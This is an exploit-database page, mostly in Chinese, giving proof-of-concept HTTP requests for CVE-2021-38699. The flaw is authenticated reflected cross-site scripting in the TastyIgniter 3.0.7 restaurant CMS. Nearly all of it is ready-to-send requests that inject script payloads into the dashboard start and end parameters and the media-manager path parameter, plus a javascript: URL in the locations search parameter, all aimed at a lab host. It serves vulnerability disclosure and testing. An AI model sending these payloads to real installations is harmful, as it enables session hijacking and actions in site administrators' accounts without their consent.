Sploitus

Exploit for CVE-2021-38699-Reflected-XSS

kitploit · 2026-09-05

Exploit Code

MARKDOWN108 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HUSKYHACKS-CVE-2021-38699-REFLECTED-XSS
# CVE-2021-38699:TastyIgniter v3.0.7 餐厅 CMS 中的多处反射型 XSS

TastyIgniter 管理后台 3.0.7 版本中存在已认证的反射型 XSS。

https://vulners.com/cve/CVE-2021-38699

## POC:

### 管理后台 dashboard 的 start 参数:

root@kitploit:~
    
    
    POST http://cvefarm.local/admin/dashboard HTTP/1.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-IGNITER-REQUEST-HANDLER: charts::onFetchDatasets
    X-CSRF-TOKEN: 37EWVV424abZPiH6H1L6CWZvTYhEfx3XK73Xa4A5
    X-Requested-With: XMLHttpRequest
    Content-Length: 81
    Origin: https://cvefarm.local
    Connection: keep-alive
    Referer: https://cvefarm.local/admin/dashboard
    Cookie: tastyigniter_session=[session/admin_session]
    Host: cvefarm.local
    
    start=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&end=2021-08-12T12%3A48%3A16.747Z
    

![2021-08-12 17_47_46-dev-kali - VMware Workstation](https://assets.kitploit.com/production/public/readmes/36660/36570da58d572820686ffd28d77b0b7913fd1efb43ce72575f7d4aba4a6252ee.png)

### 管理后台 dashboard 的 end 参数:

root@kitploit:~
    
    
    POST http://cvefarm.local/admin/dashboard HTTP/1.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-IGNITER-REQUEST-HANDLER: charts::onFetchDatasets
    X-CSRF-TOKEN: 37EWVV424abZPiH6H1L6CWZvTYhEfx3XK73Xa4A5
    X-Requested-With: XMLHttpRequest
    Content-Length: 81
    Origin: https://cvefarm.local
    Connection: keep-alive
    Referer: https://cvefarm.local/admin/dashboard
    Cookie: tastyigniter_session=[session/admin_session]
    Host: cvefarm.local
    
    
    start=2021-07-14T12%3A48%3A16.746Z&end=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
    

![image](https://assets.kitploit.com/production/public/readmes/36660/e0898c7ff20353ef7de62d28659ff0964898736b73bcaca405ab73f1020a9288.png)

## Media Manager 的 path 参数

root@kitploit:~
    
    
    POST http://cvefarm.local/admin/media_manager HTTP/1.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-IGNITER-REQUEST-HANDLER: manager::onGoToFolder
    X-CSRF-TOKEN: QVRktQkPLxizjY3vbMe2dQ5ZgZMfMalZYnQZzMes
    X-Requested-With: XMLHttpRequest
    Content-Length: 56
    Origin: https://cvefarm.local
    Connection: keep-alive
    Referer: https://cvefarm.local/admin/media_manager
    Cookie: tastyigniter_session=[session/admin_session]
    Host: cvefarm.local
    
    path=%22%3E%00%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
    

## Location 参数

root@kitploit:~
    
    
    GET http://cvefarm.local/locations?search=javascript%3Aalert%281%29%3B HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Length: 0
    Referer: http://cvefarm.local/locations
    Cookie: tastyigniter_session=[session]
    Host: cvefarm.local
    

## 其他图片

![2021-08-12 10_13_26-dev-kali - VMware Workstation](https://assets.kitploit.com/production/public/readmes/36660/f14d48e770d1a900bbf2759e5020e1fb44914198dcfb5a6a9121792a39ad73a9.png) ![2021-08-12 10_13_39-dev-kali - VMware Workstation](https://assets.kitploit.com/production/public/readmes/36660/dfff1ac5b9f651c77fadc8c8a40cda27c39630719aef9e4e9a25becdb95d2d21.png) ![unknown](https://assets.kitploit.com/production/public/readmes/36660/7f9a4c746fd821066c6444fd556eff4102869f2784bc4470d2f949c095d006cd.png)

## 发现时间

2021 年 8 月

  * Matt Kiely | HuskyHacks
  * Justin White (https://github.com/Justin-1993/CVE-2021-38699 & https://pentesternotes.com/?p=209)